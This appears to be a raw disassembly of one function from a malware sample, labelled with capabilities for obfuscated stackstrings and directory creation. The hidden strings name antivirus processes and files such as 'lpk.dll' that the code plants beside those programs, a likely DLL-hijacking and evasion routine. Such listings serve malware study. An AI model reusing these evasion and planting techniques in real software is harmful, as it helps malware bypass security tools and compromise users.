Function at 0x10006d30
Capabilities:
Contain obfuscated stackstrings
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xaf8
push ebx
push edi
jb 0x10006d40
jae 0x10006d40
call 0xeb33bef4
mov al, 0x51
xor ebx, ebx
mov byte [ebp - 0x28], al
mov byte [ebp - 0x27], al
mov al, 0x50
push ebx
push 2
mov byte [ebp - 0x10], 0x33
mov byte [ebp - 0xf], 0x36
mov byte [ebp - 0xe], 0x30
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 0xc], 0x72
mov byte [ebp - 0xb], 0x61
mov byte [ebp - 0xa], 0x79
mov byte [ebp - 9], 0x2e
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x78
mov byte [ebp - 6], 0x65
mov byte [ebp - 5], bl
mov byte [ebp - 0x1c], 0x72
mov byte [ebp - 0x1b], 0x61
mov byte [ebp - 0x1a], 0x76
mov byte [ebp - 0x19], 0x6d
mov byte [ebp - 0x18], 0x6f
mov byte [ebp - 0x17], 0x6e
mov byte [ebp - 0x16], 0x64
mov byte [ebp - 0x15], 0x2e
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x78
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], bl
mov byte [ebp - 0x26], al
mov byte [ebp - 0x25], 0x43
mov byte [ebp - 0x24], 0x52
mov byte [ebp - 0x23], 0x54
mov byte [ebp - 0x22], al
mov byte [ebp - 0x21], 0x2e
mov byte [ebp - 0x20], 0x65
mov byte [ebp - 0x1f], 0x78
mov byte [ebp - 0x1e], 0x65
mov byte [ebp - 0x1d], bl
call fcn.10003290
mov edi, eax
lea eax, [ebp - 0x4e0]
push eax
push edi
mov dword [ebp - 0xac], edi
mov dword [ebp - 0x4e0], 0x128
call fcn.100033d0
add esp, 0x10
test eax, eax
je 0x10007534
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x4bc]
push ecx
push edx
call fcn.100027f0
add esp, 8
test eax, eax
jne 0x1000703c
mov ecx, 0x40
lea edi, [ebp - 0xaf7]
mov byte [ebp - 0xaf8], bl
mov dword [section..data], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp - 0x4d8]
push eax
push ebx
push 0x410
call fcn.10003350
lea ecx, [ebp - 0xaf8]
push 0x104
push ecx
push ebx
push eax
mov dword [ebp - 4], eax
call fcn.10001e20
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x3b7]
mov byte [ebp - 0x3b8], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x7eb]
mov byte [ebp - 0x7ec], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 1
lea edx, [ebp - 0x3b8]
push 0x23
push edx
push ebx
mov byte [ebp - 0x70], 0x72
mov byte [ebp - 0x6f], 0x73
mov byte [ebp - 0x6e], 0x6d
mov byte [ebp - 0x6d], 0x61
mov byte [ebp - 0x6c], 0x69
mov byte [ebp - 0x6b], 0x6e
mov byte [ebp - 0x6a], 0x6e
mov byte [ebp - 0x69], 0x2e
mov byte [ebp - 0x68], 0x63
mov byte [ebp - 0x67], 0x6f
mov byte [ebp - 0x66], 0x6d
mov byte [ebp - 0x65], bl
mov byte [ebp - 0x38], 0x6d
mov byte [ebp - 0x37], 0x73
mov byte [ebp - 0x36], 0x6e
mov byte [ebp - 0x35], 0x64
mov byte [ebp - 0x34], bl
stosb byte es:[edi], al
mov byte [ebp - 0x48], 0x6c
mov byte [ebp - 0x47], 0x70
mov byte [ebp - 0x46], 0x6b
mov byte [ebp - 0x45], 0x2e
mov byte [ebp - 0x44], 0x64
mov byte [ebp - 0x43], 0x6c
mov byte [ebp - 0x42], 0x6c
mov byte [ebp - 0x41], bl
mov byte [ebp - 0x7c], 0x55
mov byte [ebp - 0x7b], 0x53
mov byte [ebp - 0x7a], 0x42
mov byte [ebp - 0x79], 0x42
mov byte [ebp - 0x78], 0x6f
mov byte [ebp - 0x77], 0x6f
mov byte [ebp - 0x76], 0x74
mov byte [ebp - 0x75], 0x2e
mov byte [ebp - 0x74], 0x65
mov byte [ebp - 0x73], 0x78
mov byte [ebp - 0x72], 0x65
mov byte [ebp - 0x71], bl
call fcn.10001d60
add esp, 0x2c
lea eax, [ebp - 0x3b8]
push 0x100278d4
push eax
call esi
lea ecx, [ebp - 0x38]
lea edx, [ebp - 0x3b8]
push ecx
push edx
call esi
lea eax, [ebp - 0x3b8]
push ebx
push eax
call fcn.10002270
add esp, 8
lea ecx, [ebp - 0x3b8]
push 0x100278d4
push ecx
call esi
lea edx, [ebp - 0x3b8]
lea eax, [ebp - 0x7ec]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [ebp - 0x48]
lea edx, [ebp - 0x7ec]
push ecx
push edx
call esi
lea eax, [ebp - 0x70]
lea ecx, [ebp - 0x3b8]
push eax
push ecx
call esi
lea edx, [ebp - 0x7c]
lea eax, [ebp - 0x1c]
push edx
lea ecx, [ebp - 0xaf8]
push eax
push ecx
call fcn.100036b0
lea edx, [ebp - 0x3b8]
push ebx
lea eax, [ebp - 0xaf8]
push edx
push eax
call fcn.10001c00
push ebx
lea ecx, [ebp - 0x7ec]
push 0x1002796c
push ecx
call fcn.10006c20
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x24
push 0x1f4
call edi
lea edx, [ebp - 0x3b8]
push edx
call fcn.10006a20
add esp, 4
push 0x3e8
call edi
mov eax, dword [ebp - 4]
push eax
call fcn.10002660
lea ecx, [ebp - 0x3b8]
push ecx
call fcn.10001b90
lea edx, [ebp - 0x7ec]
push edx
call fcn.10001b90
push 5
lea eax, [ebp - 0x3b8]
push ebx
push eax
call fcn.10001f60
add esp, 0x18
push 0xfa0
call edi
lea ecx, [ebp - 0x10]
lea edx, [ebp - 0x4bc]
push ecx
push edx
call fcn.100027f0
add esp, 8
test eax, eax
jne 0x1000729d
mov ecx, 0x40
lea edi, [ebp - 0x8ef]
mov byte [ebp - 0x8f0], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp - 0x4d8]
push eax
push ebx
push 0x410
call fcn.10003350
lea ecx, [ebp - 0x8f0]
push 0x104
push ecx
push ebx
push eax
mov dword [ebp - 4], eax
call fcn.10001e20
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x1af]
mov byte [ebp - 0x1b0], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x6e7]
mov byte [ebp - 0x6e8], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
lea edx, [ebp - 0x1b0]
push 0x23
push edx
push ebx
mov byte [ebp - 0x64], 0x33
stosb byte es:[edi], al
mov byte [ebp - 0x63], 0x36
mov byte [ebp - 0x62], 0x30
mov byte [ebp - 0x61], 0x73
mov byte [ebp - 0x60], 0x73
mov byte [ebp - 0x5f], 0x66
mov byte [ebp - 0x5e], 0x65
mov byte [ebp - 0x5d], 0x2e
mov byte [ebp - 0x5c], 0x63
mov byte [ebp - 0x5b], 0x6f
mov byte [ebp - 0x5a], 0x6d
mov byte [ebp - 0x59], bl
mov byte [ebp - 0xa8], 0x33
mov byte [ebp - 0xa7], 0x36
mov byte [ebp - 0xa6], 0x30
mov byte [ebp - 0xa5], 0x72
mov byte [ebp - 0xa4], 0x65
mov byte [ebp - 0xa3], 0x61
mov byte [ebp - 0xa2], 0x6c
mov byte [ebp - 0xa1], 0x70
mov byte [ebp - 0xa0], 0x72
mov byte [ebp - 0x9f], 0x6f
mov byte [ebp - 0x9e], 0x2e
mov byte [ebp - 0x9d], 0x65
mov byte [ebp - 0x9c], 0x78
mov byte [ebp - 0x9b], 0x65
mov byte [ebp - 0x9a], bl
mov byte [ebp - 0x40], 0x6d
mov byte [ebp - 0x3f], 0x73
mov byte [ebp - 0x3e], 0x6e
mov byte [ebp - 0x3d], 0x64
mov byte [ebp - 0x3c], bl
mov byte [ebp - 0x58], 0x6c
mov byte [ebp - 0x57], 0x70
mov byte [ebp - 0x56], 0x6b
mov byte [ebp - 0x55], 0x2e
mov byte [ebp - 0x54], 0x64
mov byte [ebp - 0x53], 0x6c
mov byte [ebp - 0x52], 0x6c
mov byte [ebp - 0x51], bl
call fcn.10001d60
add esp, 0x2c
lea eax, [ebp - 0x1b0]
push 0x100278d4
push eax
call esi
lea ecx, [ebp - 0x40]
lea edx, [ebp - 0x1b0]
push ecx
push edx
call esi
lea eax, [ebp - 0x1b0]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x1b0]
push 0x100278d4
push ecx
call esi
lea edx, [ebp - 0x1b0]
lea eax, [ebp - 0x6e8]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [ebp - 0x58]
lea edx, [ebp - 0x6e8]
push ecx
push edx
call esi
lea eax, [ebp - 0x64]
lea ecx, [ebp - 0x1b0]
push eax
push ecx
call esi
lea edx, [ebp - 0xa8]
lea eax, [ebp - 0x10]
push edx
lea ecx, [ebp - 0x8f0]
push eax
push ecx
call fcn.100036b0
lea edx, [ebp - 0x1b0]
push ebx
lea eax, [ebp - 0x8f0]
push edx
push eax
call fcn.10001c00
push 1
lea ecx, [ebp - 0x6e8]
push 0x1002796c
push ecx
call fcn.10006c20
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x24
push 0x1f4
call edi
lea edx, [ebp - 0x1b0]
push edx
call fcn.10006a20
add esp, 4
push 0x7d0
call edi
mov eax, dword [ebp - 4]
push eax
call fcn.10002660
lea ecx, [ebp - 0x1b0]
push ecx
call fcn.10001b90
lea edx, [ebp - 0x6e8]
push edx
call fcn.10001b90
push 5
lea eax, [ebp - 0x1b0]
push ebx
push eax
call fcn.10001f60
add esp, 0x18
lea ecx, [ebp - 0x28]
lea edx, [ebp - 0x4bc]
push ecx
push edx
mov byte [ebp - 0x88], 0x62
mov byte [ebp - 0x87], 0x75
mov byte [ebp - 0x86], 0x67
mov byte [ebp - 0x85], 0x72
mov byte [ebp - 0x84], 0x65
mov byte [ebp - 0x83], 0x70
mov byte [ebp - 0x82], 0x6f
mov byte [ebp - 0x81], 0x2e
mov byte [ebp - 0x80], 0x63
mov byte [ebp - 0x7f], 0x6f
mov byte [ebp - 0x7e], 0x6d
mov byte [ebp - 0x7d], bl
call fcn.100027f0
add esp, 8
test eax, eax
jne 0x10007515
mov ecx, 0x40
lea edi, [ebp - 0x9f3]
mov byte [ebp - 0x9f4], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp - 0x4d8]
push eax
push ebx
push 0x410
call fcn.10003350
add esp, 0xc
lea ecx, [ebp - 0x9f4]
mov dword [ebp - 4], eax
push 0x104
push ecx
push ebx
push eax
call sub.PSAPI.DLL_GetModuleFileNameExA
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x2b3]
mov byte [ebp - 0x2b4], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x5e3]
mov byte [ebp - 0x5e4], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
lea edx, [ebp - 0x2b4]
push 0x23
push edx
push ebx
mov byte [ebp - 0x98], 0x62
stosb byte es:[edi], al
mov byte [ebp - 0x97], 0x75
mov byte [ebp - 0x96], 0x67
mov byte [ebp - 0x95], 0x72
mov byte [ebp - 0x94], 0x65
mov byte [ebp - 0x93], 0x70
mov byte [ebp - 0x92], 0x6f
mov byte [ebp - 0x91], 0x72
mov byte [ebp - 0x90], 0x74
mov byte [ebp - 0x8f], 0x2e
mov byte [ebp - 0x8e], 0x65
mov byte [ebp - 0x8d], 0x78
mov byte [ebp - 0x8c], 0x65
mov byte [ebp - 0x8b], bl
mov byte [ebp - 0x30], 0x6d
mov byte [ebp - 0x2f], 0x73
mov byte [ebp - 0x2e], 0x6e
mov byte [ebp - 0x2d], 0x64
mov byte [ebp - 0x2c], bl
mov byte [ebp - 0x50], 0x6c
mov byte [ebp - 0x4f], 0x70
mov byte [ebp - 0x4e], 0x6b
mov byte [ebp - 0x4d], 0x2e
mov byte [ebp - 0x4c], 0x64
mov byte [ebp - 0x4b], 0x6c
mov byte [ebp - 0x4a], 0x6c
mov byte [ebp - 0x49], bl
call fcn.10001d60
add esp, 0x10
lea eax, [ebp - 0x2b4]
push 0x100278d4
push eax
call esi
lea ecx, [ebp - 0x30]
lea edx, [ebp - 0x2b4]
push ecx
push edx
call esi
lea eax, [ebp - 0x2b4]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x100278d4
lea ecx, [ebp - 0x2b4]
push ecx
call esi
lea edx, [ebp - 0x2b4]
lea eax, [ebp - 0x5e4]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [ebp - 0x50]
lea edx, [ebp - 0x5e4]
push ecx
push edx
call esi
lea eax, [ebp - 0x88]
lea ecx, [ebp - 0x2b4]
push eax
push ecx
call esi
lea edx, [ebp - 0x98]
lea eax, [ebp - 0x10]
push edx
lea ecx, [ebp - 0x9f4]
push eax
push ecx
call fcn.100036b0
lea edx, [ebp - 0x2b4]
push ebx
lea eax, [ebp - 0x9f4]
push edx
push eax
call fcn.10001c00
push 1
lea ecx, [ebp - 0x5e4]
push 0x1002796c
push ecx
call fcn.10006c20
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x24
push 0x1f4
call edi
lea edx, [ebp - 0x2b4]
push edx
call fcn.10006a20
add esp, 4
push 0x1004
call edi
mov eax, dword [ebp - 4]
push eax
call fcn.10002660
lea ecx, [ebp - 0x2b4]
push ecx
call fcn.10001b90
lea edx, [ebp - 0x5e4]
push edx
call fcn.10001b90
push 5
lea eax, [ebp - 0x2b4]
push ebx
push eax
call fcn.10001f60
add esp, 0x18
mov edi, dword [ebp - 0xac]
lea ecx, [ebp - 0x4e0]
push ecx
push edi
call fcn.10003450
add esp, 8
test eax, eax
jne 0x10006e08
pop esi
push edi
call fcn.10002660
add esp, 4
mov eax, 1
pop edi
pop ebx
mov esp, ebp
pop ebp
ret